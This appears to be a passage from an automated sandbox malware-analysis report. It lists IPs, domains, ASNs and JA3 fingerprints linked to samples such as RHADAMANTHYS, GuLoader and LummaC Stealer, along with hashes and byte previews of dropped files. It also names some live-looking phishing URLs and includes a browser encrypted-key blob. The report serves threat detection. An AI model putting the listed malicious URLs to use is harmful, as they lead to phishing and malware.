13:27:05	API Interceptor	1x Sleep call for process: WMIC.exe modified
13:27:08	API Interceptor	81x Sleep call for process: powershell.exe modified
13:27:18	API Interceptor	2x Sleep call for process: svchost.exe modified
13:28:44	API Interceptor	1x Sleep call for process: wmpshare.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.159.200.1	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse
	filezilla-3.17.0.0.0-installer_yr3oq-1.exe	Get hash	malicious	Unknown	Browse
	FileZilla_3.50.0_win64-setup.exe	Get hash	malicious	Unknown	Browse
	FileZilla_3.52.2_win64_sponsored-setup.exe	Get hash	malicious	Unknown	Browse
	FileZilla_3.52.2_win64_sponsored-setup.exe	Get hash	malicious	Unknown	Browse
213.239.239.164	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	payload_1.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse
62.149.0.30	H3G7Xu6gih.exe	Get hash	malicious	RHADAMANTHYS	Browse
	payload_1.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse
129.6.15.28	H3G7Xu6gih.exe	Get hash	malicious	RHADAMANTHYS	Browse
	HI6VIJERUn.exe	Get hash	malicious	RHADAMANTHYS	Browse
	payload_1.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse
	Payload 94.75 (4).225.exe	Get hash	malicious	Kronos, Strela Stealer	Browse
	mirai_nomi	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Other.Malware-gen.28386.14039.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Other.Malware-gen.3200.4135.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Other.Malware-gen.31307.16494.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Siggen.6954.6684.13146.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
time.cloudflare.com	H3G7Xu6gih.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.200.123
	HI6VIJERUn.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.200.123
	payload_1.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	162.159.200.123
	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	162.159.200.123
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	162.159.200.1
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.200.1
chrome.cloudflare-dns.com	H3G7Xu6gih.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	HI6VIJERUn.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	ko.ps1.2.ps1	Get hash	malicious	Unknown	Browse	162.159.61.3
	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse	172.64.41.3
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	162.159.61.3
	EXTERNALRe.msg	Get hash	malicious	Unknown	Browse	162.159.61.3
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.64.41.3
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	162.159.61.3
	122046760.bat	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
ntp.time.in.ua	H3G7Xu6gih.exe	Get hash	malicious	RHADAMANTHYS	Browse	62.149.0.30
	payload_1.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	62.149.0.30
	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	62.149.0.30
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	62.149.0.30
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	62.149.0.30
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	62.149.0.30

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://usemployee-hrdbenefits.com	Get hash	malicious	Unknown	Browse	104.16.123.96
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	172.67.131.246
	https://em.navan.com/MDM3LUlLWi04NzEAAAGXecU3IyvXka_yOfm1UXs3oOmq7mq-S6uBgGscrsY0kWMgpLalbadmEIYbTEXYqyKQHEXyRQM=	Get hash	malicious	Unknown	Browse	104.16.79.73
	A file has been sent to you via DROPBOX.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://usps.com-parcelbvxce.vip/i/	Get hash	malicious	Unknown	Browse	104.21.4.80
	http://golden1-alert.net/online	Get hash	malicious	Unknown	Browse	104.17.25.14
	Setup.msi	Get hash	malicious	Unknown	Browse	172.67.218.192
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.179.225
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.88.199
COLOCALLInternetDataCenterColoCALLUA	H3G7Xu6gih.exe	Get hash	malicious	RHADAMANTHYS	Browse	62.149.0.30
	izCOFC8OWh.exe	Get hash	malicious	Unknown	Browse	62.149.0.249
	payload_1.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	62.149.0.30
	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	62.149.0.30
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	62.149.0.30
	splmips.elf	Get hash	malicious	Unknown	Browse	31.28.168.19
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	62.149.0.30
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	62.149.0.30
	http://pint77.com/	Get hash	malicious	Unknown	Browse	62.149.0.249
	DHL_2017128_Receipt_Document,pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	31.28.171.149
HETZNER-ASDE	roblox1.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	135.181.65.219
	roblox.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	135.181.65.219
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	195.201.143.203
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	135.181.65.219
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	116.202.93.69
	3.elf	Get hash	malicious	Unknown	Browse	136.243.79.47
	5.msi	Get hash	malicious	DanaBot, Nitol	Browse	148.251.107.246
	Setup.msi	Get hash	malicious	Vidar	Browse	116.203.12.114
	https://6movies.stream/series/cobra-kai-80711/6-4/	Get hash	malicious	Unknown	Browse	136.243.81.150
	uEhN67huiV.dll	Get hash	malicious	Unknown	Browse	116.202.150.27

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	http://duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion	Get hash	malicious	Unknown	Browse	202.71.109.228
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	202.71.109.228
	1734537007a22115ccf81804870f6743791426a5c4263cfc792e757756373d12e0d21d0600610.dat-decoded.exe	Get hash	malicious	AsyncRAT	Browse	202.71.109.228
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	202.71.109.228
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	202.71.109.228
	https://launch.app/plainsart	Get hash	malicious	HTMLPhisher	Browse	202.71.109.228
	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse	202.71.109.228
	yoyf.exe	Get hash	malicious	Unknown	Browse	202.71.109.228
	yoyf.exe	Get hash	malicious	Unknown	Browse	202.71.109.228
37f463bf4616ecd445d4a1937da06e19	Setup.msi	Get hash	malicious	Unknown	Browse	202.71.109.228
	InstallSetup.exe	Get hash	malicious	LummaC	Browse	202.71.109.228
	T2dvU8f2xg.exe	Get hash	malicious	Unknown	Browse	202.71.109.228
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	202.71.109.228
	z68scancopy.vbs	Get hash	malicious	FormBook	Browse	202.71.109.228
	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse	202.71.109.228
	T2dvU8f2xg.exe	Get hash	malicious	Unknown	Browse	202.71.109.228
	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse	202.71.109.228
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	202.71.109.228

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263449298215208
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0V:9JZj5MiKNnNhoxuY
MD5:	8F4C761FB558B2EB8049E8538B3FF7E5
SHA1:	0765D0BAB40FB04EC16EBD8C4226DC5EECB753FC
SHA-256:	CB8FA1555E2E9DB14471C2161141B012B1F9556B3A499B500A5ACACD7A842EBE
SHA-512:	9D4FFB2C586FCFDB3AD1CE6BA72FD766CDB2930293B19115F5ED968C082AA7FA6AA16F5FDB48797C910424F8C3C825E8709F555705B47FF70FF2250CE2ECE26E
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xaf5b0814, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7556077028290847
Encrypted:	false
SSDEEP:	1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
MD5:	EE90C86CB74329F8B0BBFB4CD1100556
SHA1:	C5F80F9693657C08FBB29E942F9EBFFB2157C088
SHA-256:	06B0565F31025C1AA93E43D9F3AEFFE1D69A8915D75F573B826076A4C24F87FD
SHA-512:	8485188CE954E3CCE5F88819D7367120EFA1C46CFDF05C45A91A4FA584D3F4967D7013274FA0571C5ADBC6DD26165876F88EEF42F206A9B324F14DAEB303A71A
Malicious:	false
Preview:	.[..... .......7.......X\...;...{......................0.e......!...{?......\|..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................v4......\|-.................}.l3.....\|...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07859809790663072
Encrypted:	false
SSDEEP:	3:3tlEYeAI3pZc373NaAPaU1lp3cltAlluxmO+l/SNxOf:3XEz7p+DNDPaUhcXAgmOH
MD5:	3828922645DC4196D5DFA1A3F5117B22
SHA1:	18A46848C181FE5EACF8A618E4A71AB2CC261B11
SHA-256:	B6733AD385C779C734562FA188B51E2C1C0DF83A76CA85045B53AB63F97DC5E2
SHA-512:	7E6E7B9DF96679EAC9F79E72F40DBF2993974F105088A82AC2B4F326F6B0132E242A94C028D91AA4287C1DD7B274F84882267924D51C7971621B12B0980DBF23
Malicious:	false
Preview:	.........................................;...{.......\|...!...{?..........!...{?..!...{?..g...!...{?.................}.l3.....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Process:	C:\Windows\System32\wscript.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Process:	C:\Windows\System32\wscript.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1292855227559158
Encrypted:	false
SSDEEP:	6:kKHK9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:vlDnLNkPlE99SNxAhUe/3
MD5:	423B84F92F6CE25AF75CF02FA4BC0746
SHA1:	0F9E3828F8221975CCF57E07D9408486B59C0FCE
SHA-256:	74198F7C8E9857F9B404FBF31733F06318AC2F19EB25EC94EAC47C98D6D1CB09
SHA-512:	20FFCABEBF1EB2961078B9B69A29F9DA16A6EAADEC4D38BAF6A7820516789C2074660663339D60ACE9D9A5588A95E3DFE5300665476728ED83E50BBE88CFC0D7
Malicious:	false
Preview:	p...... ..........WpzQ..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0duhboa3.0h5.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4f23m5ou.xke.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lyucppu5.z20.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_suelh1ya.icr.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\296d411f-5601-4a13-8cfe-ac0b43c67158.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4213
Entropy (8bit):	5.4837279325483275
Encrypted:	false
SSDEEP:	96:0q8NkGS1fJvHK58rh/cI9URoDotolPB2svB8hwJkacASDS4S4SDSFe4a:/8NBST7eoDUA0hgka1
MD5:	464655605C386B291307BE90CFA1BDCE
SHA1:	FA52D876906AFF3A51C8DB129DCF15B6D267352F
SHA-256:	0579201CC37B3465173BAFB47C25E0F0B8AF9594B8901468A70DA43C3B31F541
SHA-512:	D40D6D4F02D8611338D4B898E6AFA36AB0872665059C5696593A9F4C82A4A7349D4A0436F5F0ECC15561D08D803681646033EEF2B2D2A52364D58C733878F386
Malicious:	false
Preview:	{"dual_user":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fre":{"oem_bookmarks_set":true},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADgkcD+PUfzTaQEYJBZbFyIEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABh/ZZPNGmo7nDY3+SdtpaRiTM9ej9eO7+r3J2aIaLbwwAAAAAOgAAAAAIAACAAAADpu5vk+8kldlHAJZ8QMj1+rbDJ6RfdcAc6oW2Odg90vTAAAADlrd2IAosf+BZyd84iZFZxJCTqGkBgUI1klaQjW23W1HD9aWGyVMMjadeO6RS0OURAAAAAJLDZG+M3MEm6bzd4ZPzXppp3EnaMck9lX/E+MdZo/HFNgJsA/PEvNJcXWRebbN1gdNlHaCTMrpAFdRpyO

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\43dacac8-12ce-47d7-b520-5d299e9da6dc.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3297
Entropy (8bit):	5.589229754853718
Encrypted:	false
SSDEEP:	96:0q8NkC1fJvHK8lB2svB8hwJkacASDS4S4SDSFe4a:/8NbTD0hgka1
MD5:	7505C4679C38CFA76EE64DD77561619F
SHA1:	CE75C6CB83E63C3DD1AC1C89CEA721C36EFD9F29
SHA-256:	3E73CA695155D18CFAD6F4CAEA0333D01EAFDF545DC3CF455EBCA9044120F23B
SHA-512:	7304873CBDDF85F74F890C5A1F24F545BEA194E4155384F6AD24BB4663295B7B07C267CBD7D4F99223FD14218BF3340D6498026D910FAC308A0DE036EBD67F2B
Malicious:	false
Preview:	{"dual_user":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADgkcD+PUfzTaQEYJBZbFyIEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABh/ZZPNGmo7nDY3+SdtpaRiTM9ej9eO7+r3J2aIaLbwwAAAAAOgAAAAAIAACAAAADpu5vk+8kldlHAJZ8QMj1+rbDJ6RfdcAc6oW2Odg90vTAAAADlrd2IAosf+BZyd84iZFZxJCTqGkBgUI1klaQjW23W1HD9aWGyVMMjadeO6RS0OURAAAAAJLDZG+M3MEm6bzd4ZPzXppp3EnaMck9lX/E+MdZo/HFNgJsA/PEvNJcXWRebbN1gdNlHaCTMrpAFdRpyOvUk1g=="},"policy":{"last_statist

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\BrowserMetrics\BrowserMetrics-67631446-12E0.pma

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.22139090742705264
Encrypted:	false
SSDEEP:	1536:imzOikNEP8hisg/RGWNIFfxRGg1DRFF5qoRG8EWW6zb6ihK:im6iUEUUsgoWNIFfmg1HF5ql3yzJ
MD5:	F85AAC179B867F92A835F151F91F03FE
SHA1:	4894F79FFC533F1FDDA84B7C6F61D70E0EC1028A
SHA-256:	56C8A0E793D463CE6E18FB820751EC49FC754989B6FF4352F74E14DBDC9B2207
SHA-512:	71C89626BAA48C1EAC9FA406CAD4714F5F0D979A24B25A15923F6CF6DED01EAE65DA172DB0B5C81574CDD42C8BD1A141963E2B55DE9D649B13901792D7A37FFC
Malicious:	false
Preview:	...@..@...@.....C.].....@...............P..................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....}..........117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".nitaav20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............>........................<.w..U..d.y.oK.>.........."....."...2..."..:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....p=.wA@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z............<..8...#...msNurturingAssistanceHomeDependency.....

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Crashpad\settings.dat

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	1.7488882183351082
Encrypted:	false
SSDEEP:	3:FiWWltlsFXo1NYlllllfx9Q5lS1Qi/:o1sFXo3YXT9oxi/
MD5:	6CEB58D9F14BEAD6F0D13A08499AAE0C
SHA1:	52075518E96AC6AC5B521DCBFDC17C03810320C8
SHA-256:	816FF4147BD9E32B8FC8B88C1809CC866936CDF11CCF127275C0383FCA960B91
SHA-512:	5D1ECE46EB94A42632B133019B1D22C8256F8D65971BC7DA4980F7477391E5D64F3F92699D340E31F7747EB978285D333E053C66D242301FC6D9F8FC70612715
Malicious:	false
Preview:	sdPC.......................`.QM....R...................................................................................................................................................................................................f399e55c-fe8e-4877-8b9d-b7917f9550b1............

